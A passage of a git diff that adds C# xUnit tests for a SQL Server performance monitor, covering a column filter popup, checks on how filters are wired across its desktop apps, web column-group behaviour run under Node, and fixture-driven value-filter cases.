+    private static void Click(Button button) => button.RaiseEvent(new RoutedEventArgs(ButtonBase.ClickEvent));
+
+    private static ColumnValueCatalog Catalog(params string?[] cells) => ColumnValueCatalog.Build(cells);
+
+    [Fact]
+    public void The_list_section_shows_only_for_a_column_with_a_catalog()
+    {
+        StaTestThread.Run(() =>
+        {
+            var popup = new ColumnFilterPopup();
+            var panel = Find<StackPanel>(popup, p => p.Name == "ValueListPanel");
+
+            popup.Initialize("LoginName", null, Catalog("sa", "app"));
+            Assert.Equal(Visibility.Visible, panel.Visibility);
+            Assert.NotNull(popup.ListModel);
+
+            popup.Initialize("QueryText", null, null);
+            Assert.Equal(Visibility.Collapsed, panel.Visibility);
+            Assert.Null(popup.ListModel);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void The_search_box_narrows_the_list_and_Select_All_covers_what_it_shows()
+    {
+        StaTestThread.Run(() =>
+        {
+            var popup = new ColumnFilterPopup();
+            popup.Initialize("LoginName", null, Catalog("sa", "app", "job_svc", null));
+            var search = Find<TextBox>(popup, t => t.Name == "SearchTextBox");
+            var selectAll = Find<CheckBox>(popup, c => c.Name == "SelectAllCheckBox");
+
+            Assert.Equal(new[] { "(Blanks)", "app", "job_svc", "sa" }, popup.ListModel!.Entries.Select(e => e.Label));
+
+            search.Text = "JOB";
+            Assert.Equal(new[] { "job_svc" }, popup.ListModel.Entries.Select(e => e.Label));
+
+            selectAll.RaiseEvent(new RoutedEventArgs(ButtonBase.ClickEvent)); // everything shown is ticked, so this unticks it
+            Assert.False(selectAll.IsChecked);
+
+            FilterAppliedEventArgs? applied = null;
+            popup.FilterApplied += (_, e) => applied = e;
+            Click(ButtonNamed(popup, "Apply"));
+
+            Assert.NotNull(applied);
+            Assert.Equal(ColumnValueMode.Hide, applied!.FilterState.ValueMode);
+            Assert.Equal(new[] { "job_svc" }, applied.FilterState.Values);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void Nothing_ticked_shows_the_note_and_the_cap_note_shows_for_a_long_list()
+    {
+        StaTestThread.Run(() =>
+        {
+            var popup = new ColumnFilterPopup();
+            popup.Initialize("LoginName", null, Catalog("a", "b"));
+            var note = Find<TextBlock>(popup, t => t.Name == "NoteText");
+            Assert.Equal(Visibility.Collapsed, note.Visibility);
+
+            foreach (var entry in popup.ListModel!.Entries)
+                entry.IsTicked = false;
+            Assert.Equal(Visibility.Visible, note.Visibility);
+            Assert.Equal("No values are ticked, so no rows show.", note.Text);
+
+            popup.Initialize("LoginName", null, ColumnValueCatalog.Build(Enumerable.Range(0, 1200).Select(i => (string?)("u" + i))));
+            Assert.Equal("Showing 1,000 of 1,200 values. Search to find the rest.", note.Text);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void An_existing_value_filter_comes_back_as_the_ticks_and_the_text_match_beside_it()
+    {
+        StaTestThread.Run(() =>
+        {
+            var existing = new ColumnFilterState { ColumnName = "LoginName", ValueMode = ColumnValueMode.Hide, Operator = FilterOperator.StartsWith, Value = "s" };
+            existing.Values.Add("job_svc");
+            var popup = new ColumnFilterPopup();
+            popup.Initialize("LoginName", existing, Catalog("sa", "job_svc", "app"), gridHasFilters: true);
+
+            Assert.False(popup.ListModel!.Entries.Single(e => e.Value == "job_svc").IsTicked);
+            Assert.True(popup.ListModel.Entries.Single(e => e.Value == "sa").IsTicked);
+
+            FilterAppliedEventArgs? applied = null;
+            popup.FilterApplied += (_, e) => applied = e;
+            Click(ButtonNamed(popup, "Apply"));
+
+            Assert.Equal(ColumnValueMode.Hide, applied!.FilterState.ValueMode);
+            Assert.Equal(FilterOperator.StartsWith, applied.FilterState.Operator);
+            Assert.Equal("s", applied.FilterState.Value);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void A_column_without_a_list_keeps_a_stored_value_filter_when_the_text_match_is_applied()
+    {
+        StaTestThread.Run(() =>
+        {
+            var existing = new ColumnFilterState { ColumnName = "LoginName", ValueMode = ColumnValueMode.ShowOnly };
+            existing.Values.Add("sa");
+            var popup = new ColumnFilterPopup();
+            popup.Initialize("LoginName", existing, null);
+
+            FilterAppliedEventArgs? applied = null;
+            popup.FilterApplied += (_, e) => applied = e;
+            Click(ButtonNamed(popup, "Apply"));
+
+            Assert.Equal(ColumnValueMode.ShowOnly, applied!.FilterState.ValueMode);
+            Assert.Equal(new[] { "sa" }, applied.FilterState.Values);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void A_text_only_apply_keeps_the_stored_value_part_even_when_todays_rows_have_drifted_from_it()
+    {
+        StaTestThread.Run(() =>
+        {
+            /* Scenario A: stored ShowOnly {sa}, but the rows now hold only sa. Re-deriving the mode would find nothing
+               unticked, give None, and drop the filter. */
+            var existing = new ColumnFilterState { ColumnName = "LoginName", ValueMode = ColumnValueMode.ShowOnly };
+            existing.Values.Add("sa");
+            var popup = new ColumnFilterPopup();
+            popup.Initialize("LoginName", existing, Catalog("sa"));
+            Find<TextBox>(popup, t => t.Name == "ValueTextBox").Text = "s";
+
+            FilterAppliedEventArgs? applied = null;
+            popup.FilterApplied += (_, e) => applied = e;
+            Click(ButtonNamed(popup, "Apply"));
+
+            Assert.Equal(ColumnValueMode.ShowOnly, applied!.FilterState.ValueMode);
+            Assert.Equal(new[] { "sa" }, applied.FilterState.Values);
+            Assert.Equal("s", applied.FilterState.Value);
+
+            /* Scenario B: stored ShowOnly {sa, app}; rows now sa, app, job. A text-only Apply stays ShowOnly. */
+            existing.Values.Add("app");
+            popup.Initialize("LoginName", existing, Catalog("sa", "app", "job"));
+            Click(ButtonNamed(popup, "Apply"));
+            Assert.Equal(ColumnValueMode.ShowOnly, applied.FilterState.ValueMode);
+            Assert.True(applied.FilterState.Values.SetEquals(new[] { "sa", "app" }));
+
+            /* Touching a box does rebuild it. */
+            popup.ListModel!.Entries.Single(e => e.Value == "job").IsTicked = true;
+            Click(ButtonNamed(popup, "Apply"));
+            Assert.Equal(ColumnValueMode.None, applied.FilterState.ValueMode);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void Select_All_unticked_shows_the_no_values_note_at_once()
+    {
+        StaTestThread.Run(() =>
+        {
+            var popup = new ColumnFilterPopup();
+            popup.Initialize("LoginName", null, Catalog("a", "b"));
+            var note = Find<TextBlock>(popup, t => t.Name == "NoteText");
+            var selectAll = Find<CheckBox>(popup, c => c.Name == "SelectAllCheckBox");
+
+            selectAll.RaiseEvent(new RoutedEventArgs(ButtonBase.ClickEvent)); // everything is ticked, so this unticks it
+            Assert.Equal(Visibility.Visible, note.Visibility);
+            Assert.Equal("No values are ticked, so no rows show.", note.Text);
+
+            selectAll.RaiseEvent(new RoutedEventArgs(ButtonBase.ClickEvent));
+            Assert.Equal(Visibility.Collapsed, note.Visibility);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void A_stored_value_part_on_a_column_with_no_list_shows_read_only_with_a_way_to_clear_it()
+    {
+        StaTestThread.Run(() =>
+        {
+            var existing = new ColumnFilterState { ColumnName = "LoginName", ValueMode = ColumnValueMode.Hide };
+            existing.Values.Add("a");
+            existing.Values.Add("b");
+            existing.Values.Add("c");
+            var popup = new ColumnFilterPopup();
+            var panel = Find<StackPanel>(popup, p => p.Name == "StoredValuesPanel");
+            var text = Find<TextBlock>(popup, t => t.Name == "StoredValuesText");
+
+            popup.Initialize("LoginName", existing, null);
+            Assert.Equal(Visibility.Visible, panel.Visibility);
+            Assert.Contains("hides 3 values", text.Text, StringComparison.Ordinal);
+
+            popup.Initialize("LoginName", null, null);
+            Assert.Equal(Visibility.Collapsed, panel.Visibility);
+            popup.Initialize("LoginName", existing, Catalog("a", "b", "c", "d"));
+            Assert.Equal(Visibility.Collapsed, panel.Visibility);
+
+            popup.Initialize("LoginName", existing, null);
+            FilterAppliedEventArgs? applied = null;
+            popup.FilterApplied += (_, e) => applied = e;
+            Click(ButtonNamed(popup, "Clear the value filter"));
+            Assert.Equal(Visibility.Collapsed, panel.Visibility);
+            // The clear takes effect at once, as the web page's does: a click outside the popup afterwards (no Apply) keeps it.
+            Assert.NotNull(applied);
+            Assert.Equal(ColumnValueMode.None, applied!.FilterState.ValueMode);
+            Assert.Empty(applied.FilterState.Values);
+            applied = null;
+            Find<TextBox>(popup, t => t.Name == "ValueTextBox").Text = "x";
+            Click(ButtonNamed(popup, "Apply"));
+
+            Assert.Equal(ColumnValueMode.None, applied!.FilterState.ValueMode);
+            Assert.Empty(applied.FilterState.Values);
+            Assert.Equal("x", applied.FilterState.Value);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void Clear_all_filters_shows_only_when_the_grid_has_a_filter_and_raises_its_event()
+    {
+        StaTestThread.Run(() =>
+        {
+            var popup = new ColumnFilterPopup();
+            var button = ButtonNamed(popup, "Clear all filters");
+
+            popup.Initialize("LoginName", null, Catalog("a"), gridHasFilters: false);
+            Assert.Equal(Visibility.Collapsed, button.Visibility);
+            popup.Initialize("LoginName", null, Catalog("a"), gridHasFilters: true);
+            Assert.Equal(Visibility.Visible, button.Visibility);
+
+            var raised = 0;
+            popup.ClearAllRequested += (_, _) => raised++;
+            Click(button);
+            Assert.Equal(1, raised);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void Clear_applies_an_empty_filter_including_the_value_part()
+    {
+        StaTestThread.Run(() =>
+        {
+            var existing = new ColumnFilterState { ColumnName = "LoginName", ValueMode = ColumnValueMode.Hide };
+            existing.Values.Add("a");
+            var popup = new ColumnFilterPopup();
+            popup.Initialize("LoginName", existing, Catalog("a", "b"));
+
+            FilterAppliedEventArgs? applied = null;
+            popup.FilterApplied += (_, e) => applied = e;
+            Click(ButtonNamed(popup, "Clear"));
+
+            Assert.False(applied!.FilterState.IsActive);
+            return true;
+        });
+    }
+
+    [Fact]
+    public void Esc_closes_the_popup_from_anywhere_in_it_and_the_list_is_virtualised_and_tab_stops_once()
+    {
+        StaTestThread.Run(() =>
+        {
+            var popup = new ColumnFilterPopup();
+            popup.Initialize("LoginName", null, Catalog("a", "b"));
+            var cleared = 0;
+            popup.FilterCleared += (_, _) => cleared++;
+
+            var search = Find<TextBox>(popup, t => t.Name == "SearchTextBox");
+            var keyEvent = new System.Windows.Input.KeyEventArgs(
+                System.Windows.Input.Keyboard.PrimaryDevice,
+                new System.Windows.Interop.HwndSource(0, 0, 0, 0, 0, "t", IntPtr.Zero),
+                0, System.Windows.Input.Key.Escape)
+            { RoutedEvent = System.Windows.UIElement.PreviewKeyDownEvent };
+            search.RaiseEvent(keyEvent);
+            Assert.Equal(1, cleared);
+
+            var list = Find<ListBox>(popup, l => l.Name == "ValuesListBox");
+            Assert.True(VirtualizingPanel.GetIsVirtualizing(list));
+            Assert.Equal(System.Windows.Input.KeyboardNavigationMode.Once, System.Windows.Input.KeyboardNavigation.GetTabNavigation(list));
+            return true;
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/ColumnFilterWiringCensusTests.cs b/Darling/Darling.Tests/ColumnFilterWiringCensusTests.cs
new file mode 100644
index 0000000000..055137229a
--- /dev/null
+++ b/Darling/Darling.Tests/ColumnFilterWiringCensusTests.cs
@@ -0,0 +1,172 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Census of how the kept column filters (#5565) are wired in both desktop apps. The server scope is inherited from the
+/// server tab's root (and follows the FinOps tab's own server picker), the grid's Name is the grid half of the key, and
+/// the store file is installed at startup in each app. A filtered grid with no Name, or two filtered grids in one scope
+/// with the same Name, would silently go unstored or overwrite each other, so this fails first.
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
+public sealed class ColumnFilterWiringCensusTests
+{
+    private static readonly Regex s_manager = new(@"new\s+DataGridFilterManager<[^>]+>\(\s*(?<grid>[^)\s]+)\s*\)", RegexOptions.Compiled);
+
+    private sealed record Host(string App, string Directory, string Stem);
+
+    /// <summary>The controls whose grids sit under a scope: each server tab, and the FinOps tab (its own picker sets it).</summary>
+    private static readonly Host[] s_scopedHosts =
+    {
+        new("Lite", "Lite/Controls", "ServerTab"),
+        new("Lite", "Lite/Controls", "FinOpsTab"),
+        new("Viewer", "Darling/PerformanceMonitor.Darling.Viewer", "ViewerServerTab"),
+        new("Viewer", "Darling/PerformanceMonitor.Darling.Viewer", "FinOpsTab"),
+    };
+
+    private static IEnumerable<string> CodeFiles(Host host) =>
+        Directory.GetFiles(PathTo(host.Directory.Split('/')), host.Stem + "*.cs")
+            .Where(f => Path.GetFileName(f).StartsWith(host.Stem + ".", StringComparison.Ordinal));
+
+    private static List<string> GridsOf(Host host) =>
+        CodeFiles(host)
+            .SelectMany(f => s_manager.Matches(File.ReadAllText(f)).Select(m => m.Groups["grid"].Value))
+            .ToList();
+
+    [Fact]
+    public void Every_filtered_grid_under_a_scope_is_named_in_its_controls_xaml()
+    {
+        var problems = new List<string>();
+        foreach (var host in s_scopedHosts)
+        {
+            var xaml = File.ReadAllText(PathTo(host.Directory.Split('/').Append(host.Stem + ".xaml").ToArray()));
+            var grids = GridsOf(host);
+            Assert.True(grids.Count > 0, $"{host.App} {host.Stem}: no filter managers found, so the census reads nothing");
+            foreach (var grid in grids)
+            {
+                if (!Regex.IsMatch(xaml, $"x:Name=\"{Regex.Escape(grid)}\""))
+                    problems.Add($"{host.App} {host.Stem}: grid '{grid}' has no x:Name in {host.Stem}.xaml, so its filters would not be kept");
+            }
+        }
+        Assert.True(problems.Count == 0, string.Join(Environment.NewLine, problems));
+    }
+
+    [Fact]
+    public void Filtered_grids_sharing_a_server_scope_have_distinct_names()
+    {
+        foreach (var app in s_scopedHosts.Select(h => h.App).Distinct())
+        {
+            var names = s_scopedHosts.Where(h => h.App == app).SelectMany(GridsOf).ToList();
+            var duplicates = names.GroupBy(n => n).Where(g => g.Count() > 1).Select(g => g.Key).ToList();
+            Assert.True(duplicates.Count == 0, $"{app}: grids with the same Name under one server scope share one stored entry: {string.Join(", ", duplicates)}");
+        }
+    }
+
+    [Fact]
+    public void Each_server_tab_sets_its_scope_and_each_FinOps_picker_follows_it()
+    {
+        Assert.Contains("ColumnFilterScope.SetServer(this, server.Id);", ReadRepoFile("Lite", "Controls", "ServerTab.xaml.cs"), StringComparison.Ordinal);
+        Assert.Contains("ColumnFilterScope.SetServer(this, _server.ServerName);", ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml.cs"), StringComparison.Ordinal);
+
+        var liteFinOps = ReadRepoFile("Lite", "Controls", "FinOpsTab.xaml.cs");
+        var viewerFinOps = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "FinOpsTab.xaml.cs");
+        Assert.Contains("ColumnFilterScope.SetServer(this, (ServerSelector.SelectedItem as ServerConnection)?.Id);", liteFinOps, StringComparison.Ordinal);
+        Assert.Contains("ColumnFilterScope.SetServer(this, (ServerSelector.SelectedItem as DarlingServer)?.ServerName);", viewerFinOps, StringComparison.Ordinal);
+
+        /* the scope follows the picker before the early return for a same-server repopulation */
+        Assert.True(liteFinOps.IndexOf("ColumnFilterScope.SetServer", StringComparison.Ordinal) < liteFinOps.IndexOf("if (_populatingServers) return;", StringComparison.Ordinal));
+        Assert.True(viewerFinOps.IndexOf("ColumnFilterScope.SetServer", StringComparison.Ordinal) < viewerFinOps.IndexOf("if (_populatingServers)", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public void Each_app_installs_the_store_beside_its_own_settings_file()
+    {
+        var lite = ReadRepoFile("Lite", "App.xaml.cs");
+        Assert.Contains("ColumnFilterStore.Install(Path.Combine(ConfigDirectory, \"column-filters.json\")", lite, StringComparison.Ordinal);
+
+        var viewer = ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "App.xaml.cs");
+        Assert.Contains("ColumnFilterStore.Install(", viewer, StringComparison.Ordinal);
+        /* The Viewer keeps the file under LOCAL application data like Lite; the roaming place is only the one an earlier
+           build used, named so the file there is moved over once. */
+        Assert.Contains("Environment.SpecialFolder.LocalApplicationData), \"PerformanceMonitorDarling\", \"column-filters.json\"", viewer, StringComparison.Ordinal);
+        Assert.Contains("Path.GetDirectoryName(ViewerPreferencesStore.DefaultFilePath())!, \"column-filters.json\")", viewer, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void The_popup_controller_hands_the_manager_s_values_and_clear_all_to_the_popup()
+    {
+        var controller = ReadRepoFile("PerformanceMonitor.Ui", "ColumnFilterPopupController.cs");
+        Assert.Contains("manager.GetValueCatalog(columnName)", controller, StringComparison.Ordinal);
+        Assert.Contains("manager.ClearAllFilters()", controller, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void Lite_and_the_Viewer_both_reach_the_shared_filter_code()
+    {
+        /* Both apps filter through PerformanceMonitor.Ui's manager and popup; neither carries its own copy. */
+        foreach (var dir in new[] { "Lite", "Darling/PerformanceMonitor.Darling.Viewer" })
+        {
+            var own = Directory.GetFiles(PathTo(dir.Split('/')), "*.cs", SearchOption.AllDirectories)
+                .Where(f => !f.Contains($"{Path.DirectorySeparatorChar}obj{Path.DirectorySeparatorChar}", StringComparison.Ordinal))
+                .Where(f => Regex.IsMatch(File.ReadAllText(f), @"class\s+(DataGridFilterManager|ColumnFilterPopup|ColumnFilterMatcher)\b"))
+                .ToList();
+            Assert.True(own.Count == 0, $"{dir} carries its own filter class: {string.Join(", ", own)}");
+        }
+    }
+
+    [Fact]
+    public void Alert_History_and_Job_History_set_the_one_all_servers_scope_in_both_apps()
+    {
+        /* One fixed scope for a cross-server list, set in the constructor before any filter manager is built, so a
+           restart finds the filters again (#5565). Without it the grid has no scope and nothing is kept. */
+        var files = new[]
+        {
+            ReadRepoFile("Lite", "Controls", "AlertsHistoryTab.xaml.cs"),
+            ReadRepoFile("Lite", "Controls", "JobHistoryTab.xaml.cs"),
+            ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "AlertsHistoryTab.xaml.cs"),
+            ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "JobHistoryTab.xaml.cs"),
+        };
+        foreach (var code in files)
+        {
+            var scope = code.IndexOf("ColumnFilterScope.SetServer(this, ColumnFilterScope.AllServers);", StringComparison.Ordinal);
+            var manager = code.IndexOf("new DataGridFilterManager<", StringComparison.Ordinal);
+            Assert.True(scope > 0 && manager > scope, "a cross-server history tab must set ColumnFilterScope.AllServers before it builds its filter manager");
+        }
+    }
+
+    [Fact]
+    public void The_three_HistoryDataGrid_windows_in_each_app_have_no_scope()
+    {
+        /* Three drill-down windows per app share the grid name HistoryDataGrid, so a scope would make them overwrite
+           each other's filters. They stay unsaved: no ColumnFilterScope anywhere in them. */
+        foreach (var dir in new[] { "Lite/Windows", "Darling/PerformanceMonitor.Darling.Viewer" })
+        {
+            var windows = Directory.GetFiles(PathTo(dir.Split('/')), "*.xaml")
+                .Where(f => File.ReadAllText(f).Contains("x:Name=\"HistoryDataGrid\"", StringComparison.Ordinal))
+                .ToList();
+            Assert.Equal(3, windows.Count);
+            foreach (var xaml in windows)
+            {
+                var code = File.ReadAllText(xaml + ".cs");
+                Assert.Contains("new DataGridFilterManager<", code, StringComparison.Ordinal);
+                Assert.DoesNotContain("ColumnFilterScope", code, StringComparison.Ordinal);
+                Assert.DoesNotContain("ColumnFilterScope", File.ReadAllText(xaml), StringComparison.Ordinal);
+            }
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/ColumnGroupsBehaviourTests.cs b/Darling/Darling.Tests/ColumnGroupsBehaviourTests.cs
new file mode 100644
index 0000000000..e11af1c479
--- /dev/null
+++ b/Darling/Darling.Tests/ColumnGroupsBehaviourTests.cs
@@ -0,0 +1,123 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Linq;
+using System.Text.Json;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Column groups on the web dashboard's shared table renderer (#4843), from the shipped <c>panels.js</c> run under Node (<c>web-column-groups-harness.mjs</c>). Node is skipped when it is not installed.
+/// </summary>
+public sealed class ColumnGroupsBehaviourTests
+{
+    private static JsonElement Run(string scenario)
+    {
+        var psi = new ProcessStartInfo("node") { RedirectStandardOutput = true, RedirectStandardError = true, UseShellExecute = false };
+        psi.ArgumentList.Add(PathTo("Darling", "Darling.Tests", "web-column-groups-harness.mjs"));
+        psi.ArgumentList.Add(PathTo("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js"));
+        psi.ArgumentList.Add(scenario);
+
+        Process proc;
+        try
+        {
+            proc = Process.Start(psi)!;
+        }
+        catch (Win32Exception)
+        {
+            Assert.Skip("Node is not installed, so the shipped page script cannot be run.");
+            return default;
+        }
+
+        using (proc)
+        {
+            var error = proc.StandardError.ReadToEndAsync();
+            var output = proc.StandardOutput.ReadToEnd().Trim();
+            if (!proc.WaitForExit(20000))
+            {
+                proc.Kill(entireProcessTree: true);
+                Assert.Fail("the column groups harness did not finish in 20 s for scenario " + scenario);
+            }
+
+            Assert.True(proc.ExitCode == 0, "the column groups harness failed for scenario " + scenario + ": " + error.Result);
+            using var doc = JsonDocument.Parse(output.Split('\n').First(l => l.StartsWith('{')));
+            return doc.RootElement.Clone();
+        }
+    }
+
+    private static string Str(JsonElement r, string name) => r.GetProperty(name).GetString()!;
+
+    private static string[] Arr(JsonElement r, string name) => r.GetProperty(name).EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void ATableWithoutGroups_HasNoPicker_AndShowsEveryColumn()
+    {
+        var r = Run("plain");
+        Assert.False(r.GetProperty("hasPicker").GetBoolean());
+        Assert.Equal(new[] { "Name", "A", "B", "C" }, Arr(r, "heads"));
+        Assert.Equal("grid-box", Str(r, "top"));
+        Assert.Equal(new[] { "grid-tools", "table-wrap" }, Arr(r, "childClasses"));
+        Assert.Equal(0, r.GetProperty("displayStyled").GetInt32());
+        Assert.Equal("table-wrap", Str(r, "bareClass"));
+        Assert.False(r.GetProperty("bareHasTools").GetBoolean());
+        Assert.Equal(0, r.GetProperty("bareDisplayStyled").GetInt32());
+    }
+
+    [Fact]
+    public void Groups_DrawAColumnsStrip_AndShowOnlyTheDefaultsAndUngroupedColumns()
+    {
+        var r = Run("defaults");
+        Assert.Equal(new[] { "Columns:", "G1", "G2" }, Arr(r, "labels"));
+        Assert.Equal(new[] { "Name", "A" }, Arr(r, "heads"));
+        Assert.Equal(new[] { "x", "3" }, Arr(r, "cells"));
+        Assert.Equal(new[] { "true", "false" }, Arr(r, "pressed"));
+    }
+
+    [Fact]
+    public void ATogglePressed_RevealsAndHidesItsColumns_ThroughBothHeaderAndBody()
+    {
+        var r = Run("toggling");
+        Assert.Equal(new[] { "Name", "A", "B", "C" }, Arr(r, "on"));
+        Assert.Equal(new[] { "x", "3", "30", "1" }, Arr(r, "onCells"));
+        Assert.Equal(new[] { "Name", "B", "C" }, Arr(r, "g1Off"));
+        Assert.Equal(new[] { "Name" }, Arr(r, "allOff"));
+    }
+
+    [Fact]
+    public void TheChoice_SurvivesARebuild_AndStartsFromTheDefaultsForAnotherServer()
+    {
+        var r = Run("repaint");
+        Assert.Equal(new[] { "Name", "A", "B", "C" }, Arr(r, "rebuilt"));
+        Assert.Equal(new[] { "Name", "A" }, Arr(r, "otherServer"));
+        Assert.Equal(new[] { "Name", "A", "B", "C" }, Arr(r, "backToA"));
+    }
+
+    [Fact]
+    public void SortingAColumn_ThenHidingIt_KeepsTheOrder_AndOtherColumnsStillSort()
+    {
+        var r = Run("sortHidden");
+        var byB = new[] { "y", "z", "x" };
+        Assert.Equal(byB, Arr(r, "asc"));
+        Assert.Equal(byB, Arr(r, "hiddenAsc"));
+        Assert.Equal(byB, Arr(r, "repaintAsc"));
+        Assert.Equal(new[] { "Name", "A" }, Arr(r, "heads"));
+        Assert.Equal(new[] { "y", "x", "z" }, Arr(r, "byA"));
+    }
+
+    [Fact]
+    public void CopyAll_CarriesEveryColumn_HiddenOnesIncluded_AndThePickerSitsAboveTheTools()
+    {
+        var r = Run("exportAll");
+        Assert.Equal("Name\tA\tB\tC\nx\t3\t30\t1\ny\t1\t10\t3\nz\t2\t20\t2", Str(r, "copy"));
+        Assert.Equal(new[] { "col-picker", "grid-tools", "table-wrap" }, Arr(r, "stripOrder"));
+    }
+}
diff --git a/Darling/Darling.Tests/ColumnValueFilterCasesTests.cs b/Darling/Darling.Tests/ColumnValueFilterCasesTests.cs
new file mode 100644
index 0000000000..4ce77b9e88
--- /dev/null
+++ b/Darling/Darling.Tests/ColumnValueFilterCasesTests.cs
@@ -0,0 +1,156 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using PerformanceMonitor.Common;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The value-list column filter (#5565) through the shared Common code: every case in
+/// <c>Fixtures/column-value-filter-cases.json</c> (which the web page tests read too) is driven step by step, and the
+/// list, the stored state and the rows shown are checked after each step that says what it expects.
+/// </summary>
+public sealed class ColumnValueFilterCasesTests
+{
+    private sealed class Row
+    {
+        public string? Login { get; set; }
+    }
+
+    private static JsonElement Cases()
+    {
+        var path = PathTo("Darling", "Darling.Tests", "Fixtures", "column-value-filter-cases.json");
+        return JsonDocument.Parse(File.ReadAllText(path)).RootElement.GetProperty("cases").Clone();
+    }
+
+    public static IEnumerable<object[]> CaseIds() =>
+        Cases().EnumerateArray().Select(c => new object[] { c.GetProperty("id").GetInt32() });
+
+    private static List<string?> ReadRows(JsonElement rows)
+    {
+        if (rows.ValueKind == JsonValueKind.Object)
+        {
+            var gen = rows.GetProperty("generate");
+            var prefix = gen.GetProperty("prefix").GetString()!;
+            return Enumerable.Range(0, gen.GetProperty("count").GetInt32()).Select(i => (string?)(prefix + i)).ToList();
+        }
+        return rows.EnumerateArray().Select(r => r.ValueKind == JsonValueKind.Null ? null : r.GetString()).ToList();
+    }
+
+    private static string[] Strings(JsonElement array) => array.EnumerateArray().Select(e => e.GetString()!).ToArray();
+
+    [Fact]
+    public void The_fixture_has_the_spec_cases()
+    {
+        Assert.True(Cases().GetArrayLength() >= 8);
+    }
+
+    [Theory]
+    [MemberData(nameof(CaseIds))]
+    public void A_fixture_case_runs_through_the_shared_code(int id)
+    {
+        var testCase = Cases().EnumerateArray().Single(c => c.GetProperty("id").GetInt32() == id);
+        var rows = ReadRows(testCase.GetProperty("rows"));
+        var state = new ColumnFilterState { ColumnName = nameof(Row.Login) };
+        var search = string.Empty;
+        var stepNo = 0;
+
+        foreach (var step in testCase.GetProperty("steps").EnumerateArray())
+        {
+            stepNo++;
+            var at = $"case {id} step {stepNo} ({step.GetProperty("action").GetString()})";
+            var action = step.GetProperty("action").GetString();
+            switch (action)
+            {
+                case "open":
+                    break;
+                case "search":
+                    search = step.GetProperty("text").GetString() ?? string.Empty;
+                    break;
+                case "untick":
+                case "tick":
+                case "tickOnly":
+                case "selectAll":
+                {
+                    var selection = new ColumnValueSelection(ColumnValueCatalog.Build(rows), state);
+                    var blank = step.TryGetProperty("blank", out var b) && b.GetBoolean();
+                    var values = step.TryGetProperty("values", out var v) ? Strings(v) : Array.Empty<string>();
+                    if (action == "untick")
+                    {
+                        foreach (var value in values) selection.SetTicked(value, false);
+                        if (blank) selection.SetBlankTicked(false);
+                    }
+                    else if (action == "tick")
+                    {
+                        foreach (var value in values) selection.SetTicked(value, true);
+                        if (blank) selection.SetBlankTicked(true);
+                    }
+                    else if (action == "tickOnly")
+                    {
+                        selection.TickOnly(values, blank);
+                    }
+                    else
+                    {
+                        selection.SetAll(ColumnValueCatalog.Build(rows).List(search), step.GetProperty("ticked").GetBoolean());
+                    }
+                    selection.ApplyTo(state);
+                    break;
+                }
+                case "refresh":
+                    if (step.TryGetProperty("rows", out var replace))
+                        rows = ReadRows(replace);
+                    if (step.TryGetProperty("addRows", out var add))
+                        rows.AddRange(ReadRows(add));
+                    break;
+                case "textMatch":
+                    state.Operator = Enum.Parse<FilterOperator>(step.GetProperty("operator").GetString()!);
+                    state.Value = step.GetProperty("text").GetString() ?? string.Empty;
+                    break;
+                default:
+                    Assert.Fail($"{at}: unknown action");
+                    break;
+            }
+
+            if (!step.TryGetProperty("expect", out var expect))
+                continue;
+
+            var catalog = ColumnValueCatalog.Build(rows);
+            var listing = catalog.List(search);
+            var shown = rows.Where(r => ColumnFilterMatcher.MatchesFilter(new Row { Login = r }, state)).ToList();
+
+            if (expect.TryGetProperty("listBlank", out var listBlank))
+                Assert.True(listBlank.GetBoolean() == listing.HasBlankEntry, $"{at}: (Blanks) entry");
+            if (expect.TryGetProperty("listValues", out var listValues))
+                Assert.True(Strings(listValues).SequenceEqual(listing.Values), $"{at}: listed values {string.Join("|", listing.Values.Take(15))}");
+            if (expect.TryGetProperty("listCount", out var listCount))
+                Assert.True(listCount.GetInt32() == listing.Count, $"{at}: listed {listing.Count}");
+            if (expect.TryGetProperty("note", out var note))
+                Assert.True(note.GetString() == (listing.CapNote ?? (state.ShowsNoValues ? ColumnValueCatalog.NoTicksNote : null)), $"{at}: note");
+            if (expect.TryGetProperty("state", out var expectedState))
+            {
